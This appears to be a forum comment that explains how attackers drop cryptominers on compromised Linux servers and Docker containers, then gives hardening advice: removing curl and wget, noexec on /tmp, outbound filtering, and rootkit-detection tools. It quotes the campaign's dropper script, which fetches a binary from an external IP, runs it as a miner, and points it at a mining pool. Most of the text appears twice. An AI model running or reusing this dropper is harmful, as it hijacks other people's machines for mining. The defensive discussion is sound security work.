I don't see anyone recommending measures to mitigate these attacks either.
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
#!/bin/sh
if ps -eo comm= | grep -qx 'x12345'; then
exit 0
fi
cd /tmp; (wget http://217.60.194.116/x -O- || curl http://217.60.194.116/x -o-) > x12345; chmod 777 x12345; ./x12345 --donate-level 5 -o ota.proxystream.st:3333 --rig-id plexdocker
if you don't need curl/wget, just uninstall them, also from the docker container/image.
mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
[0] https://github.com/gustavo-iniguez-goya/decloaker
[1] https://chkrootkit.org
The first stage is to exploit a vulnerability, and usually the second one download remote files with curl or wget to /tmp,/var/tmp,/dev/shm + execution. For example in this campaign in particular:
if you don't need curl/wget, just uninstall them, also from the docker container/image.mount /tmp with noexec option, or remove exec permissions.
you can also use tools to restrict outbound connections by binary/ip/host/port such as OpenSnitch. Blocking mining pools addresses would also help in these attacks.
decloaker, chkrootkit, unhide... can help to analyze an infected system.
[0] https://github.com/gustavo-iniguez-goya/decloaker
[1] https://chkrootkit.org